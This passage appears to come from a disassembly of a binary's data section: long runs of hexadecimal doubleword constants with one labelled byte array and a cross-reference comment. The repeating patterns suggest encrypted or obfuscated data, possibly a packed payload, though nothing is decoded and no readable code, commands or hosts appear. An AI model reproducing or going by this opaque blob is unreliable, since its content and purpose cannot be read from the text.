dd 0D8D8FA00h, 0C66F1DB2h, 0BAA10EA3h, 3B156829h, 0F9E2C9C3h
dd 4E29BAEAh, 4D6487C6h, 2929BAA1h, 159CBFD6h, 6129BAA1h
dd 290E080Eh, 0B2D89771h, 0A3C66F1Dh, 29BAA10Eh, 0C33B1568h
dd 8411E2C9h, 0FD297CB4h, 0C17B6143h, 0FC9ED94h, 0D0C2D7E1h
dd 0C6FD1F25h, 484D05ECh, 0A7AC664Ah, 5FF05B0h, 0C68E6820h
dd 484E08ECh, 462BECE6h, 75D8B48Eh, 0F8FEB69Bh, 0BC42E2D6h
dd 1EF82097h, 0DB937837h, 2E34DFD6h, 0C68FFD0Ch, 3AAE49Ah
dd 0BA71D1E0h, 565AAD29h
dd 8E946231h, 0E10DC419h, 0B1267704h, 8E462D6Bh, 0E1E79289h
dd 8E462BBFh, 2BC9C3B4h, 9D778E46h, 5FC01BBh, 0B2D8DDFFh
dd 455DEAE2h, 8FFD5DD6h, 2BE153B0h, 0AE553546h, 193FF6EDh
dd 0C9C3946Eh, 0B38D472Bh, 500AECC6h, 0B16B4D4Bh, 40AB5ACh
dd 0F21554B7h, 29BAA0BFh, 3C5E64B7h, 0B28C442Bh, 4D6487C6h
dd 2929BAA1h, 159CBFD6h, 6129BAA1h, 58BB080Eh, 6121CF2Ch
dd 0E5EB06E8h, 0EEFAE2C3h, 0C64D240Fh, 0A3CD799Ah, 181E4B99h
dd 687F371Eh, 0EEF3AB8Eh, 0C3CFF1F7h, 8C442BC9h, 0CCAB4975h
dd 0CD25CAD3h, 0B2D8A5C7h, 0F6049AC6h, 32656F36h, 944E322Ch
dd 3BDA37Dh, 0DF0107FEh, 442BC9C3h, 0FA49758Ch, 21F1842Fh
dd 41A94448h, 3402D397h, 9AC60C2Eh, 0E32E721Ch, 4EB0B615h
dd 8A422B54h, 0A0113473h, 0D629BAA0h, 0D85B7D83h, 0E967E2B2h
dd 0C6DC5E2Dh, 0DCF8B29Ah, 21272BA0h, 0F71A3E27h, 29B9A1BAh
dd 0DCBF71C4h, 7D281F24h, 0AD042766h, 0C929B9A1h, 0C34E7076h
dd 872A4D8Ch, 0EF29BAA0h, 49F4AC95h, 0F2F7B197h, 2BD3F5FBh
dd 47738A42h, 0A13A9B0Ch, 0BCDEE4C9h, 6DE0B2D8h, 0A0A60B2Eh
dd 7DD029BAh, 53B05577h, 4BAC78A4h, 0FADC8F9Ah, 8DF1C0E3h
dd 3A8D29BAh, 8CC31234h, 0A0872A4Dh, 9CEF29BAh, 422B7496h
dd 0E3E8A083h, 0D86741ECh, 3ECC6B2h, 494F464Bh, 0B7FFE5D7h
dd 0E153B0D5h, 17639AC6h, 3F3CC58Dh, 0A49BA058h, 10F9F3F9h
dd 722C12ECh, 367B766Dh, 4029BA5Ch, 0C36842EDh, 8A422BC9h
dd 75DE4773h, 393EF8DAh, 6BE23E42h, 0D88DAFB5h, 5C35E2B2h
dd 33121779h, 4F9AC659h, 31166137h, 0B9168B91h, 8A422B47h
dd 2BC9C3B0h, 0D8B38D47h, 8A422BB2h, 6487C6B0h, 29BAA14Dh
dd 0A0EBC6E9h, 409329BAh, 0C3101669h, 0B08FFD9Dh, 0E6CAA453h
dd 2A30272Ch, 0C49AC608h, 0AB63489Eh, 0C1ABAFA6h, 0C6C0C612h
dd 0C34E28E2h, 83422BC9h, 623CE7A1h, 472BC9C3h, 0B69C768Dh
dd 0E900F7FCh, 0BAA0EBC6h, 3A409329h, 3ECC618h, 0D2F8454Bh
dd 4D6487C6h, 2929BAA1h, 8934ECCFh, 897F4083h, 2BF43A5Ch
dd 8D8B9048h, 0F5EBF0A8h, 1286BC8h, 0E153B01Fh, 0B38D472Bh
dd 500AECC6h, 0EC4E544Bh, 8D472BF2h, 6487C6B3h, 29BAA14Dh
dd 0AEB36B4Eh, 878DE0B7h, 6C98D73Ah, 0F4777349h, 81302B11h
dd 0FD29BA57h, 0B382A4AAh, 482BDCF6h, 0A48D8B90h, 367FE7ECh
dd 2ED096D9h, 65A453B0h, 0BAA16F42h, 9DB40729h, 0BAA1377Ah
dd 0E6EC3F29h, 34472BC4h, 644D5F35h, 0ACB0A7ACh, 35E0D2B9h
dd 4D8CC35Bh, 8F245F21h, 514C88FBh, 29BA3860h, 89ACC316h
dd 29BA3828h, 0D3F5FB4Eh, 768D472Bh, 0A09D1437h, 86D929BAh
dd 0ECC65E80h, 13364D05h, 29BAA09Eh, 327F85D8h, 0FF4FE20Ch
dd 0FD24841Dh, 0F9D52652h, 1CB9E0Fh, 53B0D9FBh, 86472BE1h
dd 0E9E0E59Dh, 0C9C3643Eh, 0B48E462Bh, 472BB2D8h, 0B89C768Dh
dd 0D8D6F8FEh, 0C68FFDB2h, 614605ECh, 2ADA4A9h, 8B0006FDh
dd 462BBC36h, 8CC3B48Eh, 0B11C9B2h, 6487C6E9h, 29BAA14Dh
dd 0DC8EF2FCh, 9E0A1D9h, 0D2B6B0B6h, 0C9C33E18h, 0A3C66F1Dh
dd 29BAA10Eh, 0D83B1568h, 8E462BB2h, 2BB2D8B4h, 89878C44h
dd 553AECA4h, 3348989Dh, 0C85B1D1Dh, 0A67B0CCh, 0C6431DC7h
dd 4F313D9Ah, 0A557D040h, 8C0107C1h, 0D5D9BD37h, 0C396859Ah
dd 66179ABDh, 0C5F29BAh, 0C6F3A161h, 0EC6AD87h, 0C90C1209h
dd 29BAA0E8h, 4A243B8Eh, 0ADA4A961h, 5B6018FBh, 0C63C5E64h
dd 494E08ECh, 0A0EEC3E6h, 358829BAh, 225848Ah, 29BAA0AFh
dd 0C69A74C7h, 0A14D6487h, 0D62929BAh, 2B746ED0h, 0C6B48E46h
dd 4A500AECh, 6F1DEEE8h, 0F203ECC6h, 2B06FD24h, 0CED37E4Bh
dd 2184D1D7h, 6DF2BFE2h, 398C29BAh, 6F1D1133h, 472BB2D8h
dd 0C9C3B38Dh, 0CFE29FEDh, 0A429BAA0h, 53B05933h, 2BA4E6E1h
dd 0D8B38D47h, 0FBB59B75h, 9FEDD3F5h, 0BAA0CFE2h, 5286729h
dd 29BAA0ACh, 57797FD2h, 6B2652FDh, 0CF69A59Fh, 0F1C0E3FAh
dd 8D29BA7Bh, 0B012343Ah, 0E8CAA453h, 0DB937C2Eh, 0ECC6B3D5h
dd 8474D05h, 2B9FEDC6h, 948B9048h, 0A1575A7Dh, 0CC1F29BAh
dd 0A3C65E0Ch, 29BAA10Eh, 2D8FFC28h, 437FB0A1h, 0ECF1AB91h
dd 7DD0EFF5h, 0EEA88C66h, 0CAECF2E9h, 6F1DC9C3h, 0CFE2B2D8h
dd 0A429BAA0h, 53B05933h, 0C66F1DE1h, 0BAA10EA3h, 3B156829h
dd 472BC9C3h, 0D1E8A286h, 0BAA103AEh, 7D287B29h, 608CC3A3h
dd 4E48661Eh, 294B51E5h, 0B38D472Bh, 87C6B2D8h, 0BAA14D64h
dd 0D0D62929h, 0BAA1248Dh, 52EE1A29h, 63FD6C2Ch, 33E4060Ch
dd 0E153B059h, 768D472Bh, 315F3F4Ah, 2228CA7Fh, 2BC9C300h
dd 0C6B69048h, 0A14D6487h, 76FC29BAh, 96D4680Eh, 0AAC114EBh
dd 0BA442A87h, 0FB015429h, 87C688AEh, 0BAA14D64h, 0EBA5FC29h
dd 47A9C09Bh, 0D4171D70h, 29BA28DDh, 90482B96h, 4D8CC3B6h
dd 0BAA0872Ah, 969CEF29h, 8D472B74h, 9B75D8B3h, 0D4F6FCB4h
dd 0B690482Bh, 5933B2D8h, 2BE153B0h, 0C3B38D47h, 90482BC9h
dd 0C19AC6B6h, 831FEB1Dh, 0C9006268h, 27ADFF9Dh, 24D6F451h
dd 8B82873Fh, 321D6385h, 0B2B87258h, 2BB2D890h, 0E9A18647h
dd 0C5E8273Eh, 29BAA0ECh, 5283F92h, 29BAA0ACh, 57797FD2h
dd 4C06ECC6h, 2BD3F946h, 948B9048h, 87C626D4h, 0A08C2548h
dd 9FF229BAh, 0A15F5699h, 0C41729BAh, 2BC9C3EAh, 0C6B38D47h
dd 484D05ECh, 0EFE94B51h, 0AA8D67E6h, 2BCAECF2h, 0D8B38D47h
dd 90482BB2h, 2BB2D8B6h, 63492349h, 0B2ADA4A9h, 29BAA0FFh
dd 9F792477h, 0CAAD87C6h, 0A09A1712h, 25E429BAh, 0BAA0AF02h
dd 0C974C729h, 0D41376C3h, 0BAA100B1h, 1D237629h, 5ECC6FBh
dd 5F04474Dh, 9405ECC9h, 788F492Bh, 85AC0D39h, 0AF7C2CD6h
dd 0BA9BFDB4h, 20267929h, 2BC9C3FEh, 9F799048h, 6FD02BAh
dd 75D8DE00h, 0F8FDB79Bh, 0E2D9FB01h, 3FB686C9h, 11725581h
dd 0A9AE684Eh, 0F27EAEB2h, 2BF91B21h, 0B0012448h, 0C629BAA0h
dd 0C3EEC873h, 90482BC9h, 0B89F79h, 0B2D8D8FAh, 4C06ECC6h
dd 74A5047h, 29BAA0A7h, 0C694F6CEh, 0B4F203ECh, 43AD764Eh
dd 0CA3F45F0h, 692BE75h, 21AB2862h, 2B16383Eh, 0C3B69048h
dd 90482BC9h, 1BB9F79h, 0DDFF05FCh, 0FCE2B2D8h, 777257B2h
dd 0CFB48EC1h, 151B1217h, 0E153B0F3h, 490AECC6h, 0F8FEA963h
dd 89631BFEh, 0D0B28CC3h, 681A1116h, 0CDC4C981h
db 0C7h
byte_5C3A41 db 0A5h, 2Bh, 48h ; DATA XREF: ___:off_44207Co
dd 9AC6B690h, 8B71275Fh, 0D2F50C7Dh, 29B9F3DFh, 0F13E4497h
dd 69AC6CBh, 21F33840h, 641E9096h, 8D472B4Ch, 94A58A88h
dd 0F1999097h, 0C2C772ADh, 3578D596h, 53B0CD6Fh, 90482BE1h
dd 2BC9C3B6h, 9F799048h, 0D9FB01BBh, 2E2B2D8h, 38595D88h
dd 0B8BE785Eh, 8B452B96h, 0EAA48886h, 6DC2EFE5h, 0B0D44222h
dd 482BE153h, 0C9C3B690h, 0B690482Bh, 0BD4975D8h, 4EFADBEh
dd 0B388AAB0h, 3817E0F2h, 0A0DBD6F9h, 50A329BAh, 53B0284Ah
dd 90482BE1h, 6487C6B6h, 29BAA14Dh, 0D9B06A4Eh, 36F0D486h
dd 0D2343A31h, 0BE276F9Bh, 6DD8D9FCh, 4B9E29BAh, 0D33ECC47h
dd 0ECC6ABCDh, 15384F07h, 29BAA09Ch, 8F898FE2h, 0C61AF4ACh
dd 474D05ECh, 8BE2D4FAh, 0ABFEDFF8h, 92DEA47Fh, 0B7BD555Ah
dd 0C68FFD95h, 9E500AECh, 6FD02BCh, 7F368B00h, 308C0A5h
dd 2BE4060Ch, 0E4293748h, 9DC40A25h, 1A01DBF2h, 60665D62h
dd 9ECC63Eh, 0C6E94C51h, 29BAA0EBh, 7E954093h, 0BAA1565Bh
dd 0C7CD2029h, 492B6B65h, 3AA9F036h, 787C8B39h, 24207B26h
dd 2600ABC0h, 0ECC6B2D8h, 0FEB9F508h, 72C9C91h, 5A60575Ch
dd 0EBC57D60h, 4D6487C6h, 2929BAA1h, 5D83D0D6h, 0ECC68FFDh
dd 0D0454B03h, 492B0173h, 0C9C3B58Fh, 0B2D86F1Dh, 0B690482Bh
dd 0E4D8CC3h, 0BAA0C6EBh, 625DB029h, 29BAA14Fh, 0ACCED427h
dd 0CFE29FEDh, 6729BAA0h, 0EBF0A88Dh, 33CCEEF4h, 0AECC659h
dd 0A0F0C1E4h, 338629BAh, 0B00D8288h, 2BA4E63Eh, 0D8B58F49h
dd 0A0CCE2B2h, 2BA729BAh, 89878C44h, 0F2E8EDA7h, 96B968C5h
dd 29BAA11Bh, 7E651063h, 0A453B01Ch, 0EFA98B65h, 0BAA0BDF4h
dd 6066B929h, 8F492B3Eh, 6487C6B5h, 29BAA14Dh, 6ED0D629h
dd 88492B74h, 273EE9A1h, 928BBCFBh, 676DA1EAh, 98B2D845h
dd 2BC9C3F2h, 9E788F49h, 0D5F7FDB5h, 0ECC6B2D8h, 3464C06h
dd 77867A3Ah, 0AABBA27Ch, 0C85FF3CDh, 0F14BFB5h, 0B6F01218h
dd 0E153B0D4h, 4D6487C6h, 0FC29BAA1h, 21E1FDCFh, 88DBB22Eh
dd 0E5A68882h, 0C19B46FEh, 500AECC6h, 0EC4E544Bh, 8F492BF2h
dd 2BB2D8B5h, 0C3B69048h, 6487C6C9h, 29BAA14Dh, 0D6D0D629h
dd 9A66E1F4h, 996BAF08h, 4C5000C7h, 4126FFAAh, 5933DE89h
dd 0A3C6C9C3h, 29BAA10Eh, 0A7551568h, 0FFAE9AC6h, 6E722C12h
dd 0FEE162A5h, 9F4A4146h, 9A173A99h, 0E429B9EBh, 0B2D8B791h
dd 3981AEE2h, 52FD893Eh, 0B1D413h, 7629BAA1h, 0A0892823h
dd 0A2F529BAh, 53B07A9Ch, 58321DE1h, 90B2B872h, 0A10EA3C6h
dd 156829BAh, 0EA3C63Bh, 6829BAA1h, 4124FE15h, 0C3618389h
dd 0C66F1DC9h, 0BAA10EA3h, 0FE156829h, 0F91C4224h, 29BAA0B8h
dd 0BBC06BBEh, 0B2C2C0C4h, 0A8A8617Ch, 0B2D880A2h, 4E08ECC6h
dd 0BBA05249h, 0CBAFD03h, 87304598h, 0F01352FDh, 29BAA0C1h
dd 42646ABDh, 1DE153B0h, 0EA3C66Fh, 6829BAA1h, 169C28BCh
dd 58038A80h, 0EA3C67Eh, 6829BAA1h, 6519FBBCh, 35E0DBDFh
dd 6ECC65Bh, 4A50474Ch, 321DEEE8h, 0B6BB7358h, 0A0813053h
dd 0AAFD29BAh, 0C6D7F9FFh, 0BAA10EA3h, 65FC2829h, 8E7C5BE7h
dd 0F346656Bh, 2BB2D819h, 0D8B69048h, 0FEB69B75h, 0DAFC02F9h
dd 888D472Bh, 0E7ECA68Ah, 9FE23F74h, 513A14BFh, 869D9499h
dd 0BAA14E63h, 0CFD52829h, 0E153B0ADh, 0A3C66F1Dh, 29BAA10Eh
dd 0C63B1568h, 0BAA10EA3h, 6C4E2829h, 0B0B6ADB2h, 0C6643E91h
dd 0CDF306ECh, 4F9701DCh, 0FD5F6510h, 0EA3C603h, 6829BAA1h
dd 0C6A75515h, 0FC9AD87h, 0CA0D130Ah, 29BAA0E7h, 0C6623C8Fh
dd 464B03ECh, 0D6FC494Fh, 4597E4E2h, 0C0E32230h, 0FBB67F1h
dd 12343A8Dh, 0ECC65933h, 52494E08h, 87AD74Ch, 7258321Dh
dd 0B6BCB3B8h, 0E79AC694h, 943219CBh, 640FC7AEh, 0D5DCFF5Eh
dd 6129B9B3h, 0E51B5D35h, 0E0923A11h, 433A3FF7h, 0B4CB1E3Dh
dd 393EF8DAh, 979C543Bh, 0CDEFF5A0h, 4F07ECC6h, 0EAC7EA49h
dd 9429BAA0h, 0C9C36741h, 0A10EA3C6h, 156829BAh, 0A3C6A755h
dd 29BAA10Eh, 0D83B1568h, 81AEE2B2h, 33893E39h, 0A25C421Ch
dd 53B07A9Ch, 0C66F1DE1h, 4A500AECh, 0F0D2ACEBh, 0C4ED3036h
dd 0BA29BAA0h, 90765067h, 0D4DAD1D6h, 4887C6B2h, 0C8CD856Eh
dd 0A0DBD6D1h, 987629BAh, 920CB202h, 8066C097h, 1FCAC1C6h
dd 15DBD619h, 246329BAh, 0BA15B001h, 6D73C629h, 0A5E4FB4Eh
dd 0BA162F82h, 0EEF44729h, 2BC9C3CCh, 0C3B69048h, 0E94FD1C9h
dd 4E454A02h, 0A3C6C9A3h, 2E5ABD13h, 0C3482275h, 5ECC6C9h
dd 2DF3474Dh, 0ECC6340Eh, 52494E08h, 82AEED4Ch, 3C5FAA48h
dd 29BA7275h, 0DAAAAE01h, 74B7BD79h, 2E59F642h, 0DAF144h
dd 0BC765A19h, 1015C0B7h, 99BD1519h, 2F236CC5h, 0B2D80729h
dd 9BAB45E2h, 59334253h, 0E2A09AC6h, 0D4FDF1CAh, 4D0459CEh
dd 0A30A9421h, 0BA4E3180h, 0F6FA4D29h, 0F6196F02h, 29BA90BBh
dd 0BFC570C3h, 0F04FD19Dh, 13A3C616h, 752E5ABDh, 0ECC64822h
dd 0AD654807h, 0B46E5002h, 50B2B8AFh, 6ECC656h, 0ED94D1F3h
dd 984378D0h, 0F4AC9593h, 51004349h, 0AA29B9D8h, 0B38D472Bh
dd 4D6487C6h, 2929BAA1h, 2855D2D6h, 0AD193AD7h, 1D345AA7h
dd 0EA3C66Fh, 6829BAA1h, 0C9C33B15h, 0C7F3321Dh, 0FF488D1Eh
dd 0EAC7C20Fh, 0B929B9D0h, 1F161BD5h, 0CDEFF548h, 6F1DB2D8h
dd 482BB2D8h, 0BA9F7990h, 0C3DAFC02h, 0FA9AC6C9h, 9F932400h
dd 9AE82026h, 0BAA0CFE2h, 1C33A429h, 0A0A55D42h, 0FC01B9A2h
dd 32545A05h, 0E6E153B0h, 0ECA48D67h, 24CA6AE8h, 8B91A616h
dd 9ECC669h, 6D514B51h, 0B2D8D9B3h, 173662EDh, 0DBA319Bh
dd 2BB5D7DDh, 9C768D47h, 0FFF6FBB3h, 0C9C3D7F9h, 0FE21472Bh
dd 29BAA0B3h, 0F3CD78CBh, 0CFE2B2D8h, 6729BAA0h, 0ECF1AB8Dh
dd 33CDEFF5h, 32B6F01Ch, 1C209580h, 53B0F416h, 8D472BE1h
dd 0B28CC3B3h, 1A1116D0h, 0C3C88268h, 2BA4C6CCh, 0D8B58F49h
dd 6487C6B2h, 29BAA14Dh, 3E24D629h, 82887F84h, 51E0453Fh
dd 492B3850h, 448C0A36h, 20603B3h, 48087226h, 5A34DF92h
dd 492BC9C3h, 9AC6B58Fh, 5F4195DDh, 0A5A9A0A5h, 806634DAh
dd 1FCAC1C6h, 8F69CC19h, 0C6E8EEA6h, 53B0AAE0h, 2EE8CAA4h
dd 0A2C3229h, 492BC9C3h, 0D54C788Fh, 7CCC6B5Eh, 0D813353Bh
dd 1F18E2B2h, 0B66BAFAEh, 0E153B0D4h, 4D6487C6h, 2929BAA1h
dd 0F4D6D0D6h, 0D3F8ABE1h, 161ABF8Dh, 0DBA1FA67h, 0D7B15CB3h
dd 472BC9C3h, 814A768Dh, 58B3ABBDh, 272CE4CDh, 5D7F8530h
dd 0B59B75D8h, 0F0C1E4FBh, 8629BAA0h, 2B0B2D33h, 4C788F49h
dd 0BCABB395h, 0EEC7CBB6h, 0BC7958EBh, 0D8486A70h, 88492BB2h
dd 0F0E7ECA6h, 5E424045h, 0B86D9FA4h, 946E185Bh, 2BE153B0h
dd 37768D47h, 0BAA09D14h, 8086D929h, 0B28CC35Eh, 160D12CCh
dd 87C6EE10h, 0BAA14D64h, 7C00FC29h, 9923F62Eh, 2C6B6FC2h
dd 650D021Dh, 0B6989298h, 0C9C322FCh, 0A10EA3C6h, 52829BAh
dd 29BAA0ACh, 55A87FD2h, 75D8E795h, 0F7FDB79Bh, 8D472BD5h
dd 1DB2D8B3h, 12A3C66Fh, 3429BAA1h, 0B00EB608h, 7A80E709h
dd 0C32E085Bh, 8D472BC9h, 0E6C9C3B3h, 8F01E2A4h, 2B7629BAh
dd 0D8B58F49h, 0C66F1DB2h, 0BAA10EA3h, 3B156829h, 0ECC6C9C3h
dd 534A4F07h, 7C40C24Fh, 9298E311h, 5A57074Fh, 492B7E2Eh
dd 0A0B10023h, 7ACD29BAh, 0C9C3F5CFh, 0FD20442Bh, 29BAA0B4h
dd 0C0F21ECAh, 7F2802Ch, 5B9AB15Ch, 0BA3A7938h, 0ACB20529h
dd 2BB2D88Ah, 3C053748h
dd 2D6E0E41h, 0B9DEA70Ah, 0D17CCF29h, 0ECC64C26h, 0B2994B03h
dd 0F8FEF5FAh, 291C48ABh, 0BC5A9C3h, 2A809507h, 74E20224h
dd 925D07ACh, 663A3C66h, 537660DFh, 0B4FCB25Eh, 141AC518h
dd 90482BF2h, 0E2C9C3B6h, 880986BDh, 8C442BBAh, 9E133675h
dd 0D829BAA0h, 0C35D7F85h, 33442BC9h, 0FB00914Eh, 863E2790h
dd 3F1930DBh, 7C9EA45Ch, 0ECC6B2D8h, 514B5109h, 0D8DCB66Eh
dd 9E133675h, 0FD29BAA0h, 655C611Bh, 13353B8Eh, 53B08FFDh
dd 5ECC6E1h, 664D474Dh, 0D7BD97AEh, 0C6F5171Dh, 0A14D6487h
dd 0D62929BAh, 80864024h, 0ECC6241Eh, 514B5109h, 0C6DCB66Eh
dd 0B300899Ah, 5F65FB32h, 492B03FDh, 0EE0A5436h, 0DF8A7407h
dd 2BB2D805h, 0D8B28C44h, 0B05933B2h, 492BE153h, 7194A588h
dd 0D058F2Bh, 0E3DADF8Ah, 0C9C35E38h, 0B28C442Bh, 87C6C9C3h
dd 0BAA14D64h, 0AD654E29h, 837D83D6h, 0D80DE7A1h, 8A422BB2h
dd 2BB2D8B0h, 88868B45h, 70E3E8A2h, 0F19BE63Bh, 0AECC617h
dd 78D54A50h, 8F492B06h, 2BC9C3B5h, 0D8B28C44h, 0B834E2B2h
dd 0C60F054Ch, 0BEE105ECh, 29BAA0F3h, 0DB8D388Bh, 40373CF4h
dd 0A159403Ah, 0C6C9C3C7h, 126EE89Ah, 8A90C135h, 0DDF4AE90h
dd 68367B9Eh, 0ED4029BAh, 969C543Bh, 0A9AC674h, 31D33484h
dd 4D73C0C6h, 0A385442Bh, 3BEE5E9h, 0A3661CE8h, 75D81EF8h
dd 0B6858449h, 0A288330Ch, 15373DE8h, 937852FDh, 0D9DFD6DBh
dd 0FF9AC6B7h, 0BE3611CFh, 0E6EBA38Ah, 0C93E44EFh, 87C6FA74h
dd 0BAA14D64h, 0D0D62929h, 603AF4D6h, 4D05ECC6h, 0E94B5148h
dd 8C442BEFh, 0D1C9C3B2h, 0C611EB4Ah, 9E500AECh, 5FC01B9h
dd 2B8CB2FFh, 0C3B38D47h, 36492BC9h, 0C65F6EBh, 8ED73661h
dd 858C1271h, 0D9182FDAh, 0B9DCFBB6h, 2A308329h, 0C6C9C308h
dd 923D79Ah, 0EBF19F66h, 0CFE265B3h, 0A429BAA0h, 53B08FFDh
dd 2BA4E6E1h, 0D8B38D47h, 0FAB29B75h, 6F1DD2F4h, 0A10EA3C6h
dd 156829BAh, 0E2C9C33Bh, 5F6CE1D7h, 21472BACh, 0BAA0B3FEh
dd 0CD78CB29h, 0B28CC3F3h, 0EA0C12CCh, 0B38D472Bh, 0B29B75D8h
dd 0E2D2F4FAh, 2643F003h, 1958F780h, 0DED1D4EDh, 9994C101h
dd 29BA8918h, 0E3050B5Eh, 0C6E153B0h, 474C06ECh, 9B163950h
dd 0E329BAA0h, 0AC908A90h, 1D01DBF2h, 0C33B5D63h, 418B608Ch
dd 0F63665A5h, 492BCEF0h, 0B2D8B58Fh, 44FF26E2h, 9AC62139h
dd 54B1B29Fh, 2F292F2Bh, 0C6B9934Dh, 464B03ECh, 0FDB79D4Fh
dd 99FB01F8h, 459AC69Fh, 13947771h, 270B050Bh, 0B2D8936Dh
dd 0B58F492Bh, 0D4B6B2D8h, 2BE153B0h, 0C3B38D47h, 8F492BC9h
dd 0FFB79E78h, 0DBFD03FAh, 472BC9C3h, 0B2D8B38Dh, 0BAA0CCE2h
dd 0A93E6A29h, 0F9FA8375h, 2F03AED1h, 287B29BAh, 2DE7CB7Dh
dd 92B3128h, 987D57F6h, 0B0B8DAE0h, 472BE153h, 0C9C3B38Dh
dd 0BAB367E2h, 3D609F29h, 29BA8C74h, 8FB1B70Ah, 4F07ECC6h
dd 0F8FEB69Dh, 89631BFEh, 4B03ECC6h, 1DD2F845h, 0EA3C66Fh
dd 6829BAA1h, 0C9C33B15h, 687F7BE2h, 0FDE1BB68h, 0F5A05A3Ch
dd 482BCDEFh, 0ECC6B690h, 0E3454B03h, 90482BE9h, 9B75D8B6h
dd 624BFDB7h, 0A8AEA5AAh, 0F5ADE286h, 2B8A17CDh, 0B5FC1F45h
dd 0C129BAA0h, 0C0BEC36Eh, 823C1EDDh, 0D6DB867Dh, 923CF6D8h
dd 0D5BE0865h, 0EEC8721Dh, 2BE153B0h, 0C3B69048h, 5ECC6C9h
dd 0FDA86246h, 621AFDF7h, 0E2B2D888h, 611AC496h, 8E462BF1h
dd 0EFA98B89h, 0E43982EAh, 0C64BB999h, 0A14D6487h, 0D62929BAh
dd 8C065BD0h, 0A089482Bh, 0C3633DE8h, 8ECC6C9h, 684E484Eh
dd 355897AEh, 29BAA07Ch, 0A1129FC2h, 196C29BAh, 0C7E9EF42h
dd 74E2B2D8h, 0CF3753FCh, 9F84452Bh, 40EBE2E7h, 2BC9C366h
dd 0EDA78948h, 2F46F1E8h, 0A0E4CDF0h, 479A29BAh, 0B2D81F41h
dd 0CD32452Bh, 30E8D1B5h, 5630342Bh, 954D32CFh, 0D8653FEAh
dd 0B05933B2h, 482BE153h, 173A7990h, 29BAA09Ah, 0EAA48AE4h
dd 0C617393Fh, 0A14D6487h, 0D62929BAh, 2B746ED0h, 0C3B18B45h
dd 90482BC9h, 0E2B2D8B6h, 29BAA0CCh, 8D472BA7h, 0EDA58A88h
dd 0AC01B6E8h, 0B0187A61h, 482BE153h, 0B99F7990h, 0FD03FAFFh
dd 2BC9C3DBh, 1D963748h, 0CEF7BBB0h, 0B2D84923h, 0E59A89E2h
dd 8FFDFE64h, 0CAA453B0h, 2E252AE4h, 482B0628h, 34611A37h
dd 0F5587EBh, 548C9086h, 3E18C341h, 472BC9C3h, 0BA9C768Dh
dd 0FE04FB00h, 2BB2D8DCh, 0D8B69048h, 0D3FA4975h, 0D92A4E84h
dd 0D4B6B1D3h, 0CAA453B0h, 894126E5h, 0DDE28D84h, 2BBEE0E6h
dd 4A768D47h, 7B0CCBEh, 62848A35h, 482BC9C3h, 0B99F7990h
dd 0C3D7F9FFh, 8D472BC9h, 6487C6B3h, 29BAA14Dh, 83D0D629h
dd 0F3BEE120h, 8B29BAA0h, 2B103238h, 0C3B69048h, 8D472BC9h
dd 5ECC6B3h, 0EBE5474Dh, 13ED4CD1h, 0B99B75D8h, 0F4AAFAFFh
dd 0C45D46A2h, 8DAFB560h, 7990482Bh, 0FAFFB99Fh, 0D8DBFD03h
dd 0B0BFCDB2h, 0E4CAA453h, 6ED5252Ah, 612818FBh, 0EC0E14BFh
dd 34EAE31Fh, 9DA0C54h, 0C6560000h, 0B6D9849Ah, 0D4EB06B8h
dd 0BA2B00B1h, 1D237629h, 0BA0B26DAh, 482B3129h, 0B2D8B690h
dd 0A3C66F1Dh, 29BAA10Eh, 42A0E68h, 0BAA0D0E1h, 0A853A629h
dd 0C9C323FDh, 4D6487C6h, 2929BAA1h, 4A98D0D6h, 0B690482Bh
dd 462BC9C3h, 75D8B48Eh, 0F6FBB59Bh, 0C6D7F9FFh, 0D183BF9Ah
dd 1E240DB3h, 0BA33D6DBh, 9AC69D29h, 502B7901h, 373137E1h
dd 0C6C09A52h, 4DAB239Ah, 1F2562B2h, 482BC3BDh, 0B2D8B690h
dd 778E462Bh, 4F01BB9Dh, 0B2A9AE66h, 0B2D88AACh, 888D472Bh
dd 5A7DA18Ah, 29BAA157h, 1C21CC1Fh, 0CB166BB4h, 53B04721h
dd 90482BE1h, 0CFFB4D79h, 0B56E6273h, 5C621A03h, 1DC9C33Ah
dd 20A20632h, 7162E68Ch, 0A97A375Ah, 0B10429B9h, 0B2D889ABh
dd 0B48E462Bh, 9FEDC9C3h, 0BAA0CFE2h, 5933A429h, 0C6E153B0h
dd 1880E69Ah, 93998C06h, 462B1254h, 0B2D8B48Eh, 82C89AC6h
dd 0D7944CF2h, 1A808ED1h, 2BF36B60h, 0E69E8746h, 0ECC6613Bh
dd 4F464B03h, 2BEDE749h, 4B778E46h, 0F94C45h, 0EAD183CCh
dd 0D80A2C32h, 576EE2B2h, 33C9949Fh, 0AD87C659h, 9A1712CAh
dd 0E429BAA0h, 0B9168B91h, 8E462B47h, 3ECC6B4h, 494F464Bh
dd 482BEDE7h, 0A0B00124h, 73C629BAh, 0B2D8EEC8h, 0B48E462Bh
dd 8FFDB2D8h, 2BE153B0h, 3A799048h, 0BAA09A17h, 8B91E429h
dd 4D8CC369h, 0BAA0872Ah, 0B395EF29h, 52FDF4F9h, 0FB00BAA0h
dd 2BDCFE04h, 0E1A08746h, 4A4146FEh, 0C31AF49Fh, 8A422BC9h
dd 0B2D81CCAh, 0A589482Bh, 44EFE6EBh, 9B75D86Ah, 0D4F6FCB4h
dd 0ECC66F1Dh, 51484D05h, 0ECC9EC4Bh, 8A29BAA0h, 8CC35D37h
dd 0E022B660h, 7076DD63h, 0BA9AC64Eh, 7AA5E414h, 41241E24h
dd 0ECC6AF89h, 0E5474D05h, 5CE3D9EBh, 3FA5D88Bh, 0B2D8D17Fh
dd 472BA4E6h, 0B69C768Dh, 17F9F7FCh, 0B661585Dh, 0B2D88EB0h
dd 0D090482Bh, 69280BE5h, 191FCA82h, 0AD87C6F7h, 0C4070DC7h
dd 29BAA0EDh, 0C35C3689h, 0C66F1DC9h, 464B03ECh, 0FFAA6448h
dd 6F49ACF9h, 6E43668Ah, 829BAA1h, 0E050AB5h, 6F1DE608h
dd 462BB2D8h, 0C9C3B48Eh, 0B58F492Bh, 9FEDB2D8h, 0B58F492Bh
dd 0ECC6C9C3h, 0B29B4D05h, 0F8FEF5FAh, 4B621CFEh, 0D0D68E71h
dd 3675D8AEh, 0BAA09E13h, 7F85D829h, 0A0CFE25Dh, 33A429BAh
dd 0E153B059h, 0B58F492Bh, 422BC9C3h, 0B2D8B08Ah, 0BAA0CFE2h
dd 422BA429h, 0C9C3B08Ah, 0A288492Bh, 0E5E3E8h, 0A14C4348h
dd 0B2D81CF6h, 0B08A422Bh
dd 4D6487C6h, 2929BAA1h, 5D83D0D6h, 53B05933h, 8F492BE1h
